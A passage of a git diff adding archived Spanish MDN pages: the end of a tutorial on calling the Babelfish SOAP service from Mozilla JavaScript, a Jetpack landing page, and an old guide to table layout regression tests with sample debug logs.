+}
+</pre>
+<p>El valor devuelto desde <code>invoke()</code> se guarda y comprueba en el miembro <code>fault</code>. Si éste existe, entonces ocurrió un error en el servicio web y el mensaje de error se guarda en <code>fault.faultString</code>. Si <code>fault</code> no existe, se puede llamar a la función <code>getParameters()</code> del objeto retornado para obtener los SOAPParameters devueltos.</p>
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+<p>El siguiente ejemplo utiliza un servicio web real, Bablfish, proporcionado por <a class="external" href="http://www.xmethods.net/">xmethods.net</a>. El servicio web Babelfish permite la traducción entre varios idiomas. Toma como entrada dos parámetros: una cadena con formato "&lt;idioma_original&gt;_&lt;idioma_destino&gt;" y otra cadena con el texto a traducir. El fichero WSDL para el servicio web de Bablfish está disponible <a class="external" href="http://www.xmethods.net/sd/2001/BabelFishService.wsdl">aquí</a> y contiene toda la información necesaria para configurar y hacer una llamada SOAP de bajo nivel al servicio web.</p>
+<p>El primer paso es conocer la localización del servicio web, la cual será el valor del miembro <code>transportURI</code> de <code>SOAPCall</code>. Esto se puede sacar del elemento <code>service</code> del WSDL, concretamente del atributo <code>location</code> de <code>soap:address</code>.</p>
+<p>Figura 4 : Obtener la localización del servicio web a partir de su WSDL</p>
+<pre class="eval"><strong>WSDL:</strong>
+  &lt;service name="BabelFishService"&gt;
+    &lt;documentation&gt;
+      Translates text of up to 5k in length, between a variety of languages.
+    &lt;/documentation&gt;
+    &lt;port name="BabelFishPort" binding="tns:BabelFishBinding"&gt;
+      <span style="color: green;">&lt;soap:address location="<span class="nowiki">http://services.xmethods.net:80/perl/soaplite.cgi</span>"/&gt;</span>
+    &lt;/port&gt;
+  &lt;service&gt;
+
+<strong>JavaScript:</strong>
+  var babelFishCall = new SOAPCall();
+  babelFishCall.transportURI = "<span class="nowiki">http://services.xmethods.net:80/perl/soaplite.cgi</span>";
+  ...
+</pre>
+<p>El siguiente paso es el más complicado: conocer exactamente qué parámetros espera recibir el servicio web. El servicio web de Babelfish sólo tiene un método, "Babelfish", el cual está representado en el WSDL en las etiquetas <code>operation</code> y que son hijas del elemento <code>portType</code>. Cada <code>operation</code> del WSDL tiene dos hijos: los elementos <code>input</code> y <code>output</code>, los cuales contienen el tipo esperado. Los tipos están definidos en los elementos <code>message</code> de los cuales hay dos: <code>BabelFishRequest</code>, que es lo que va a ser pasado al servicio web y <code>babelFishResponse</code>, que es el tipo devuelto.</p>
+<p>BabelFish espera recibir dos parámetros de entrada: <code>translationmode</code> y <code>sourcedata</code>. El ejemplo mostrado en la figura 5 traducirá la cadena "I am" del inglés al francés.</p>
+<p>Figura 5 : Estableciendo los parámetros necesarios</p>
+<pre class="eval"><strong>WSDL:</strong>
+  &lt;message <span style="color: blue;">name="BabelFishRequest"&gt;</span>
+    <span style="color: green;">&lt;part name="translationmode" type="xsd:string"/&gt;</span>
+    <span style="color: green;">&lt;part name="sourcedata" type="xsd:string"/&gt;</span>
+  &lt;/message&gt;
+
+  &lt;message name="BabelFishResponse"&gt;
+      &lt;part name="return" type="xsd:string"/&gt;
+  &lt;/message&gt;
+
+  &lt;portType name="BabelFishPortType"&gt;
+    &lt;operation name="BabelFish"&gt;
+      <span style="color: green;">&lt;input message="tns:BabelFishRequest"/&gt;</span>
+      &lt;output message="tns:BabelFishResponse"/&gt;
+    &lt;/operation&gt;
+  &lt;/portType&gt;
+
+<strong>JavaScript:</strong>
+  // SOAP parameters
+  var param1 = new SOAPParameter();
+  param1.value = "en_fr";
+  param1.name = "translationmode";
+
+  var param2 = new SOAPParameter();
+  param2.value = "I am";
+
+  param2.name = "sourcedate";
+
+  // combine the 2 params into an array
+  var myParamArray = [param1,param2];
+</pre>
+<p>Luego, es hora de configurar e invocar el objeto <code>SOAPCall</code>. "BabelFish" es el método usado por el ejemplo para el servicio web. El siguiente parámetro es el espacio de nombres que se espera para pasárselo al servicio web para el método <code>BabelFish</code>.</p>
+<p>Esto se puede saber mirando el elemento <code>binding</code> del WSDL. El elemento <code>binding</code> tiene un hijo <code>operation</code> para el método <code>BabelFish</code>. El espacio de nombres necesarios es el valor del atributo <code>namespace</code> de <code>soap:body</code> dentro del elemento <code>input</code>.</p>
+<p>Figura 6 : Configurando el método <code>encode</code></p>
+<pre class="eval"><strong>WSDL:</strong>
+  &lt;binding name="BabelFishBinding" type="tns:BabelFishPortType"&gt;
+    &lt;soap:binding style="rpc" transport="<span class="nowiki">http://schemas.xmlsoap.org/soap/http</span>"/&gt;
+    &lt;operation name="BabelFish"&gt;
+      &lt;soap:operation soapAction="urn:xmethodsBabelFish#BabelFish"/&gt;
+      &lt;input&gt;
+        <span style="color: green;">&lt;soap:body use="encoded" namespace="urn:xmethodsBabelFish"
+                   encodingStyle="<span class="nowiki">http://schemas.xmlsoap.org/soap/encoding/</span>"/&gt;</span>
+      &lt;/input&gt;
+      ...
+    &lt;/operation&gt;
+  &lt;/binding&gt;
+
+<strong>JavaScript:</strong>
+  babelFishCall.encode(0, "BabelFish", "urn:xmethodsBabelFish", 0, null, myParamArray.length, myParamArray);
+
+  var translation = babelFishCall.invoke();
+</pre>
+<p>Como muestra la figura 5, la respuesta del método de BabelFish ("BabelFishResponse") tiene un parámetro, concretamente una cadena de texto. Tras asegurarnos de que no se ha devuelto un error, el método <code>getParameters()</code> del objeto devuelto es usado para obtener un array de SOAPResponses. Dado que se espera un solo parámetro (el texto traducido), el método <code>alert()</code> será usado para mostrar dicha traducción.</p>
+<p>Figura 7 : Manejando la respuesta</p>
+<pre class="eval"><strong>JavaScript:</strong>
+  if(translation.fault){
+    // error returned from the web service
+    alert(translation.fault.faultString);
+  } else {
+    // we expect only one return SOAPParameter - the translated string.
+    var response = new Array();
+    response = translation.getParameters(false, {});
+    alert("Translation: " + response[0].value);
+  }
+</pre>
+<p>Como se dijo en la introducción, las llamadas SOAP obedecen la política de acceso multidominio en los scripts.</p>
+<p>Existen dos formas de rodear la política de seguridad para hacer pruebas:</p>
+<dl>
+ <dd>
+   </dd>
+</dl>
+<ol>
+ <li>
+  <p>Ejecuta el script en el disco local.</p>
+  <p>Guarda el código localmente en tu disco duro.</p>
+  <p>El modelo de seguridad multidomino no afecta al código ejecutado desde el disco duro local.</p>
+ </li>
+ <li>
+  <p>Habilita el acceso multidominio</p>
+  <p>Se puede saltar la comprobación multidominio estableciendo una opción como se explica en el artículo <a href="es/Bypassing_Security_Restrictions_and_Signing_Code">Bypassing Security Restrictions and Signing Code</a> y añadiéndolo al comando JavaScript para decirle a la petición que ignore la comprobación multidominio.</p>
+  <p>Tras sortear la comprobación, ejecuta el navegador y carga esta <a class="external" href="http://developer.mozilla.org/samples/soap/example-crossdomain.html">página con el ejemplo modificado</a>. Te preguntará (mediante un cuadro de diálogo) los permisos para desactivar el multidominio (para esa sesión) para la función generadora de la llamada SOAP. El único cambio realizado ha sido añadir <code>netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");</code> a la función que genera la llamada SOAP.</p>
+ </li>
+</ol>
+<p>Figura 8 : Código final - <a class="external" href="http://developer.mozilla.org/samples/soap/example.html">Ejemplo local</a>, <a class="external" href="http://developer.mozilla.org/samples/soap/example-crossdomain.html">Ejemplo multidominio</a></p>
+<pre class="eval"><strong>JavaScript:</strong>
+  var babelFishCall = new SOAPCall();
+  babelFishCall.transportURI = "<span class="nowiki">http://services.xmethods.net:80/perl/soaplite.cgi</span>";
+
+  // SOAP params
+  var param1 = new SOAPParameter();
+  param1.value = "en_fr";
+  param1.name = "translationmode";
+
+  var param2 = new SOAPParameter();
+  param2.value = "I am";
+  param2.name = "sourcedate";
+
+  // combine the 2 params into an array
+  var myParamArray = [param1,param2];
+
+  babelFishCall.encode(0, "BabelFish", "urn:xmethodsBabelFish", 0, null, myParamArray.length, myParamArray);
+
+  var translation = babelFishCall.invoke();
+
+  if(translation.fault){
+    // error returned from the web service
+    alert(translation.fault.faultString);
+  } else {
+   // we expect only one return SOAPParameter - the translated string.
+   var response = new Array();
+   response = translation.getParameters(false, {});
+   alert("Translation: " + response[0].value);
+ }
+</pre>
+<h3 id="Tras_la_pista_del_contenedor_Soap" name="Tras_la_pista_del_contenedor_Soap">Tras la pista del contenedor Soap</h3>
+<p>Aquí se muestra un volcado HTTP (usando la aplicación multiplataforma <a class="external" href="http://www.ethereal.com/">Ethereal</a>) de lo que realmente se envía y se recibe cuando se ejecuta el ejemplo:</p>
+<p>Figura 9 : Volcado HTTP</p>
+<pre class="eval"><strong>Sent:</strong>
+POST /perl/soaplite.cgi HTTP/1.1
+Host: services.xmethods.net:80
+...
+Content-Type: text/xml
+Content-Length: 516
+
+&lt;env:Envelope xmlns:env="<span class="nowiki">http://schemas.xmlsoap.org/soap/envelope/</span>"
+              xmlns:enc="<span class="nowiki">http://schemas.xmlsoap.org/soap/encoding/</span>"
+              env:encodingStyle="<span class="nowiki">http://schemas.xmlsoap.org/soap/encoding/</span>"
+              xmlns:xs="<span class="nowiki">http://www.w3.org/1999/XMLSchema</span>"
+              xmlns:xsi="<span class="nowiki">http://www.w3.org/1999/XMLSchema-instance</span>"&gt;
+  &lt;env:Header/&gt;
+  &lt;env:Body&gt;
+      &lt;a0:BabelFish xmlns:a0="<span style="color: green;">urn:xmethodsBabelFish</span>"&gt;
+          <span style="color: green;">&lt;a0:translationmode xsi:type="xs:string"&gt;en_fr&lt;/a0:translationmode&gt;</span>
+          <span style="color: green;">&lt;a0:sourcedata xsi:type="xs:string"&gt;I am&lt;/a0:sourcedata&gt;</span>
+      &lt;/a0:BabelFish&gt;
+  &lt;/env:Body&gt;
+&lt;/env:Envelope&gt;
+
+
+<strong>Recieved:</strong>
+HTTP/1.1 200 OK
+Date: Tue, 11 Mar 2003 20:28:11 GMT
+Server: Apache/1.3&amp; (Unix) Enhydra-Director/3 PHP/4.0.6 DAV/1.0.3 AuthNuSphere/1.0.0
+SOAPServer: SOAP::Lite/Perl/0.52
+Content-Length: 532
+
+...
+Content-Type: text/xml; charset=utf-8
+
+&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;SOAP-ENV:Envelope xmlns:SOAP-ENC="<span class="nowiki">http://schemas.xmlsoap.org/soap/encoding/</span>"
+                   SOAP-ENV:encodingStyle="<span class="nowiki">http://schemas.xmlsoap.org/soap/encoding/</span>"
+                   xmlns:SOAP-ENV="<span class="nowiki">http://schemas.xmlsoap.org/soap/envelope/</span>"
+                   xmlns:xsi="<span class="nowiki">http://www.w3.org/1999/XMLSchema-instance</span>"
+                   xmlns:xsd="<span class="nowiki">http://www.w3.org/1999/XMLSchema</span>"&gt;
+  &lt;SOAP-ENV:Body&gt;
+    &lt;namesp1:BabelFishResponse xmlns:namesp1="urn:xmethodsBabelFish"&gt;
+      <span style="color: green;">&lt;return xsi:type="xsd:string"&gt;je suis&lt;/return&gt;</span>
+    &lt;/namesp1:BabelFishResponse&gt;
+  &lt;/SOAP-ENV:Body&gt;
+&lt;/SOAP-ENV:Envelope&gt;
+</pre>
+<h3 id="Recursos" name="Recursos">Recursos</h3>
+<p><a class="external" href="http://lxr.mozilla.org/mozilla/source/extensions/webservices/docs/Soap_Scripts_in_Mozilla.html">SOAP Scripts in Mozilla</a> por Ray Whitmer<br>
+ <a class="external" href="http://www.oreillynet.com/lpt/a/2677">Using the Mozilla SOAP API</a> por Scott Andrew LePera and Apple Developer Connection.<br>
+ <a class="external" href="http://www.w3.org/TR/soap12-part1/">The Latest w3.org SOAP Specification</a><br>
+ <a class="external" href="http://www.onlamp.com/lpt/a/5981">Calling SOAP Servers from JS in Mozilla</a> OnLamp.com article by Zachary Kessin<br>
+ <a class="external" href="http://www.xulplanet.com/references/objref/SOAPCall.html">SOAPCall documentation on XULPlanet.com</a><br>
+ <a class="external" href="http://www.xulplanet.com/references/objref/SOAPResponse.html">SOAPResponse documentation on XULPlanet.com</a></p>
+<div class="originaldocinfo">
+ <h3 id="Informaci.C3.B3n_del_documento_original" name="Informaci.C3.B3n_del_documento_original">Información del documento original</h3>
+ <ul>
+  <li>Author(s): Doron Rosenberg</li>
+  <li>Published: March 14, 2003</li>
+  <li>Copyright Information: Copyright © 2001-2003 Netscape.</li>
+  <li>Original Location: <a class="external" href="http://devedge-temp.mozilla.org/viewsource/2003/soap/01/index_en.html" rel="freelink">http://devedge-temp.mozilla.org/view.../index_en.html</a></li>
+  <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/es/archive/mozilla/index.html b/files/es/archive/mozilla/index.html
new file mode 100644
index 0000000000..855e3e8ae6
--- /dev/null
+++ b/files/es/archive/mozilla/index.html
@@ -0,0 +1,10 @@
+---
+title: Archived Mozilla and build documentation
+slug: Archive/Mozilla
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla
+---
+<p>These articles are archived, obsolete documents about Mozilla, Gecko, and the process of building Mozilla projects.</p>
+<p></p><dl><dt class="landingPageList"><a href="/es/docs/Introducci%C3%B3n_a_la_extensi%C3%B3n_de_la_API_de_audio">Introducción a la extension del API de audio</a></dt><dd class="landingPageList">La extension de audio de la API se extiende de la especificación de HTML5 {HTMLElement("audio")}} y <a href="/es/docs/HTML/Elemento/video" title="This article hasn't been written yet. Please consider contributing!"><code>&lt;video&gt;</code></a> multimedia mediante la exposición de elementos metadata de audio y datos puros en audio. Esto permite a los usuarios visualizar los datos de audio, para procesarlos y crear nuevos datos de audio.</dd><dt class="landingPageList"><a href="/es/docs/Archive/Mozilla/Table_Layout_Regression_Tests">Table Layout Regression Tests</a></dt><dd class="landingPageList">Changes in layout, parser and content code can have unintended side effects, also known as regressions. It is good style to check for these unwanted regressions and fixing them before checkin rather than causing Bugzilla avalanches.</dd></dl><p></p>
diff --git a/files/es/archive/mozilla/jetpack/index.html b/files/es/archive/mozilla/jetpack/index.html
new file mode 100644
index 0000000000..7e80cca2b8
--- /dev/null
+++ b/files/es/archive/mozilla/jetpack/index.html
@@ -0,0 +1,39 @@
+---
+title: Jetpack
+slug: Archive/Mozilla/Jetpack
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla/Jetpack
+---
+<p><img alt="" class="internal" src="/@api/deki/files/3848/=jetpack_icon_47x60.png" style="float: left; height: 48px; margin-right: 6px; width: 37px;"></p>
+
+<h1 id="Jetpack">Jetpack</h1>
+
+<p><span class="author-g-abp0twjvvqmqlouk">Jetpack is a project to make it easy to build Firefox add-ons using common web technologies.</span></p>
+
+<div>
+<h4 id="GettingStarted" name="GettingStarted">Get Started</h4>
+
+<ol>
+ <li>Visit the <a class="link-https" href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/tutorials/index.html#getting-started">Getting Started tutorial</a></li>
+ <li><a class="link-https" href="https://ftp.mozilla.org/pub/mozilla.org/labs/jetpack/jetpack-sdk-latest.zip" title="https://ftp.mozilla.org/pub/mozilla.org/labs/jetpack/jetpack-sdk-latest.zip">Download</a> the Add-on SDK (formerly called the Jetpack SDK)</li>
+</ol>
+
+<h4 id="GettingStarted" name="GettingStarted">Documentation</h4>
+
+<ul>
+ <li>Check out the <a class="link-https" href="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/dev-guide/index.html">documentation</a>, including tutorials, examples, guides, and API reference</li>
+</ul>
+
+<h4 id="GettingStarted" name="GettingStarted">Join the Jetpack Community</h4>
+
+<ul>
+ <li>Follow Jetpack on the <a class="external" href="http://blog.mozilla.com/addons/category/jetpack/" title="http://blog.mozilla.com/addons/category/jetpack/">Mozilla Add-ons Blog</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Add-on%20SDK&amp;component=General" title="https://bugzilla.mozilla.org/enter_bug.cgi?product=Add-on SDK&amp;component=General">Report</a> a bug</li>
+ <li>Check out the <a class="link-https" href="https://bugzilla.mozilla.org/buglist.cgi?order=Bug%20Number&amp;resolution=---&amp;resolution=DUPLICATE&amp;query_format=advanced&amp;product=Add-on%20SDK" title="https://bugzilla.mozilla.org/buglist.cgi?order=Bug Number&amp;resolution=---&amp;resolution=DUPLICATE&amp;query_format=advanced&amp;product=Add-on SDK">open bugs</a></li>
+ <li><a class="external" href="http://groups.google.com/group/mozilla-labs-jetpack">Discuss</a> Jetpack</li>
+ <li>Grab the <a class="link-https" href="https://github.com/mozilla/addon-sdk" title="http://hg.mozilla.org/labs/jetpack-sdk/">source code </a></li>
+ <li>Join us in #jetpack on irc.mozilla.org</li>
+</ul>
+</div>
diff --git a/files/es/archive/mozilla/table_layout_regression_tests/index.html b/files/es/archive/mozilla/table_layout_regression_tests/index.html
new file mode 100644
index 0000000000..564a8273bf
--- /dev/null
+++ b/files/es/archive/mozilla/table_layout_regression_tests/index.html
@@ -0,0 +1,204 @@
+---
+title: Table Layout Regression Tests
+slug: Archive/Mozilla/Table_Layout_Regression_Tests
+translation_of: Archive/Mozilla/Table_Layout_Regression_Tests
+---
+<p></p><div class="warning warningHeader">
+    <p><strong>Advertencia:</strong> <strong>The content of this article may be out of date.</strong> While the information on the layout debugger is still useful, the testing information is much less relevant now than it has been, as the "rtest" testing framework described here has been superseded by the <a class='"external"' href='"http://mxr.mozilla.org/mozilla/source/layout/tools/reftest/README.txt"'>reftest</a> framework. It is unclear whether or how well rtest continues to work and whether it is still used or not.</p>
+</div><p></p>
+
+<h3 id="Subject_Overview" name="Subject_Overview">Subject Overview</h3>
+
+<p>Changes in layout, parser and content code can have unintended side effects, also known as regressions. It is good style to check for these unwanted regressions and fixing them before checkin rather than causing Bugzilla avalanches.</p>
+
+<h3 id="Prerequisites" name="Prerequisites">Prerequisites</h3>
+
+<p>In order to run these tests, you will need to have:</p>
+
+<ol>
+ <li>Make sure that your build is a <strong>debug</strong> <a href="en/Configuring_Build_Options">build</a> (in short you need <code>ac_add_options --enable-debug</code> in your <code>.mozconfig</code> file).</li>
+ <li>to build the layoutdebugger itself, build either all extensions or include layoutdebug in your <code>.mozconfig</code> file. For example <code>ac_add_options --enable-extensions=all</code>.</li>
+ <li>a Mozilla tree with the test files at <code>%MOZ_SRC%/layout/html/tests</code>,</li>
+ <li><code>DISABLE_TESTS</code> should not be defined (so <code>ac_add_options --enable-tests</code>),</li>
+ <li>patience and time.</li>
+</ol>
+
+<h3 id="Test_Runs" name="Test_Runs">Test Runs</h3>
+
+<ul>
+ <li>Go to the <code>%MOZ_SRC%/layout/html/tests/block</code> directory.</li>
+ <li>Avoid the nasty assertions to pop up by <code>set XPCOM_DEBUG_BREAK=warn</code>, the world would be a much better place if we could <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=152015">first fix those assertions</a>.</li>
+ <li>As you will probably run your normal Mozilla in parallel with the testing issue then: <code>set MOZ_NO_REMOTE=1</code> at the command prompt.</li>
+ <li>Start the layout debugger via <code>mozilla -layoutdebug - P foo</code> where <code>foo</code> is just another profile than your main profile.</li>
+ <li>Select from the <code>Regression-Test</code> Menu the <code>Add New List...</code>entry.<br>
+  <img alt="Menu display Add New List.."></li>
+ <li>Select <code>%MOZ_SRC%/layout/html/tests/block/rtest.lst</code>.</li>
+ <li>Execute the baseline test<br>
+  <img alt="baseline run"></li>
+ <li>Shutdown the layoutdebugger</li>
+ <li>Execute <code>mozilla -layoutdebug - P foo &gt;selftest.txt</code></li>
+ <li>Execute the verify test<br>
+  <img alt="verify run"></li>
+ <li>Make a note which tests have failed <code>grep 'failed' selftest.txt</code> (these are false positives, quite frequently they indicate reflow problems, pages showing differently when loaded from cache)</li>
+ <li>Make your changes to the source, recompile.</li>
+ <li>Execute <code>mozilla -layoutdebug - P foo &gt;outputfile.txt</code></li>
+ <li>Execute the verify test</li>
+ <li>Make a note which tests have failed <code>grep 'failed' outputfile.txt</code></li>
+ <li>Check how many tests have failed and analyze your results:
+  <ul>
+   <li>If the regression tests have failed at the same place as the previous diagnosed false positives =&gt; ignore</li>
+   <li>Try to figure out what the other regressions are: Are they improving the picture or are they regressions?</li>
+   <li>Note the difficult to explain test failures.</li>
+  </ul>
+ </li>
+ <li>Change the source if necessary until the regression tests indicate that your patch does not fork the block and table layout</li>
+ <li>Submit your patch and lists the remaining differences in the bug</li>
+</ul>
+
+<p>Be prepared to cycle.</p>
+
+<h3 id="How_the_layout_regression_tests_work" name="How_the_layout_regression_tests_work">How the layout regression tests work</h3>
+
+<p>First the URL's to test are red from <code>rtest.lst</code> files in various directories. <code><a href="https://dxr.mozilla.org/mozilla-central/source/layout/html/tests/block/rtest.lst" rel="custom">layout/html/tests/block/rtest.lst</a></code> points to them.</p>
+
+<p>Snippet from rtest.lst in the <code>table/marvin</code> directory:</p>
+
+<pre>body_col.html
+body_tbody.html
+body_tfoot.html
+body_thead.html
+col_span.html
+</pre>
+
+<p>The regression tests compare the frame tree dumps recorded at two different times. The URL's to test are red from <code>rtest.lst</code>For every file in <code>rtest.lst</code> Mozilla takes the root frame and dumps the whole tree via <a href="http://mxr.mozilla.org/mozilla-central/search?string=nsFrame%3A%3ADumpRegression">nsFrame::DumpRegression</a>.</p>
+
+<p>The frame tree dumps are invoked by the <a href="https://dxr.mozilla.org/mozilla-central/source/layout/base/nsILayoutDebugger.h" rel="custom">nsILayoutDebugger</a>. The frame trees are dumped to separate files in a baseline or verify directory for all URL's in <code>rtest.lst</code> (see: <a href="http://mxr.mozilla.org/mozilla-central/ident?i=DumpFrameModel">nsRegressionTester::DumpFrameModel</a>).</p>
+
+<p>Their name is generated by replacing the old extension <code>.html</code> or <code>.xml</code> with <code>.rgd</code>. For <code>appendCells1.html</code> a file <code>appendCells1.rgd</code> will be created in the baseline or verify subdirectory.</p>
+
+<p>A typical beginning of a dump (<code><span class="nowiki">*.rgd</span></code> file) looks like:</p>
+
+<pre>&lt;frame va="15022440" type="Viewport(-1)" state="270340" parent="0"&gt;
+  &lt;view va="47171904"&gt;
+  &lt;/view&gt;
+  &lt;stylecontext va="15022232"&gt;
+
+    &lt;font serif 240 240 0 /&gt;
+    &lt;color data="-16777216"/&gt;
+    &lt;background data="0 2 3 -1 0 0 "/&gt;
+    &lt;spacing data="left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0" /&gt;
+    &lt;list data="100 100 " /&gt;
+    &lt;position data="left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  0 Auto  " /&gt;
+
+    &lt;text data="0 0 0 Normal  Normal  0[0x0]tw  Normal  " /&gt;
+    &lt;textreset data="0 10[0xa]enum  " /&gt;
+    &lt;display data="0 1 0 0 0 0 0 0 0 0 0 0 " /&gt;
+    &lt;visibility data="0 1 1.000000" /&gt;
+    &lt;table data="0 0 4 -1 1 " /&gt;
+    &lt;tableborder data="1 Null  Null  0 2 " /&gt;
+
+    &lt;content data="0 0 0 Null  " /&gt;
+    &lt;quotes data="0 " /&gt;
+    &lt;ui data="3 0 0 1 " /&gt;
+    &lt;uireset data="7 0 4" /&gt;
+    &lt;xul data="0 0 0 0 0 1    &lt;svg data="0 1.000000 1.000000 0 1.000000" /&gt;
+  &lt;/stylecontext&gt;
+</pre>
+
+<p>The <code>baseline</code> log will look like:</p>
+
+<pre>Type Manifest File: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat
++++ JavaScript debugging hooks installed.
+++WEBSHELL == 1
+++DOMWINDOW == 1
+++WEBSHELL == 2
+++DOMWINDOW == 2
+Note: styleverifytree is disabled
+Note: frameverifytree is disabled
+Note: verifyreflow is disabled
+++WEBSHELL == 3
+++DOMWINDOW == 3
+Running baseline test for E:\moz_src\mozilla\layout\html\tests\block\rtest.lst.
+Writing regression data to E:\moz_src\mozilla\layout\html\tests\block\base\baseline\width-fixed_html.rgd
+Writing regression data to E:\moz_src\mozilla\layout\html\tests\block\base\baseline\width-percent_html.rgd
+Writing regression data to E:\moz_src\mozilla\layout\html\tests\block\base\baseline\margin1_html.rgd
+Writing regression data to E:\moz_src\mozilla\layout\html\tests\block\base\baseline\pre_html.rgd
+Writing regression data to E:\moz_src\mozilla\layout\html\tests\block\base\baseline\pre1_html.rgd
+</pre>
+
+<p>The second verify run creates first the frame dumps in the verify subdirectories (<code>verify</code>) and <a href="http://mxr.mozilla.org/mozilla-central/search?string=nsFrameUtil%3A%3ACompareTrees">compares</a> each frame dump with the corresponding reference frame dump. If they differ in critical points the test fails.</p>
+
+<p>A typical part of the <code>verify</code> log would look like:</p>
+
+<pre>Type Manifest File: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat
++++ JavaScript debugging hooks installed.
+++WEBSHELL == 1
+++DOMWINDOW == 1
+++WEBSHELL == 2
+++DOMWINDOW == 2
+Note: styleverifytree is disabled
+Note: frameverifytree is disabled
+Note: verifyreflow is disabled
+++WEBSHELL == 3
+++DOMWINDOW == 3
+Running verify test for E:\moz_src\mozilla\layout\html\tests\block\rtest.lst.
+Writing regression data to E:\moz_src\mozilla\layout\html\tests\table\core\verify\standards1.rgd
+Comparing to regression data from E:\moz_src\mozilla\layout\html\tests\table\core\baseline\standards1.rgd
+frame bbox mismatch: 0,26437,4824,600 vs. 0,26437,4872,600
+Node 1:
+  TableOuter(table)(144) 0x10004 0,26437,4824,600, |null attr|-16777216|left: 0[0x0]tw top: 0[0x0]tw right: 0[0x0]tw bottom: 0[0x0]tw  left: 0[0x0]tw top: 0[0x0]tw right: 0[0x0]tw bottom: 0[0x0]tw  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0|1 1 [none]|left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  0 Auto  |0 0 0 Normal  Normal  0[0x0]tw  Normal  |0 8 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 Null
+Node 2:
+  TableOuter(table)(144) 0x10004 0,26437,4872,600, |null attr|-16777216|left: 0[0x0]tw top: 0[0x0]tw right: 0[0x0]tw bottom: 0[0x0]tw  left: 0[0x0]tw top: 0[0x0]tw right: 0[0x0]tw bottom: 0[0x0]tw  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0|1 1 [none]|left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  0 Auto  |0 0 0 Normal  Normal  0[0x0]tw  Normal  |0 8 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 Null
+frame bbox mismatch: 0,0,4824,600 vs. 0,0,4872,600
+Node 1:
+  Table(table)(144) 0x10004 0,0,4824,600, |null attr|-16777216|left: Null top: 0[0x0]tw right: Null bottom: 0[0x0]tw  left: Null top: Null right: Null bottom: Null  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0|1 1 [none]|left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  2 Auto  |0 0 0 Normal  Normal  0[0x0]tw  Normal  |0 8 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 Null
+Node 2:
+  Table(table)(144) 0x10004 0,0,4872,600, |null attr|-16777216|left: Null top: 0[0x0]tw right: Null bottom: 0[0x0]tw  left: Null top: Null right: Null bottom: Null  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0|1 1 [none]|left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  2 Auto  |0 0 0 Normal  Normal  0[0x0]tw  Normal  |0 8 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 Null
+frame bbox mismatch: 24,24,4776,552 vs. 24,24,4824,552
+Node 1:
+  TableColGroup(table)(144) 0x80010004 24,24,4776,552, |null attr|-16777216|left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0|1 1 [none]|left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  0 Auto  |0 0 0 Normal  Normal  0[0x0]tw  Normal  |0 12 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 Null
+Node 2:
+  TableColGroup(table)(144) 0x80010004 24,24,4824,552, |null attr|-16777216|left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  left: 1[0x1]enum top: 1[0x1]enum right: 1[0x1]enum bottom: 1[0x1]enum  left: Null top: Null right: Null bottom: Null  left: Null top: Null right: Null bottom: Null  1[0x1]enum 0|1 1 [none]|left: Auto top: Auto right: Auto bottom: Auto  Auto  0[0x0]tw  Null  Auto  0[0x0]tw  Null  0 Auto  |0 0 0 Normal  Normal  0[0x0]tw  Normal  |0 12 1,000000 0 0 0 0 0 0 0 0 0 0 0 [none]|0 0 0 -1 1 |0 0 0 Null
+frame bbox mismatch: 0,0,2400,552 vs. 0,0,2424,552
+Node 1:
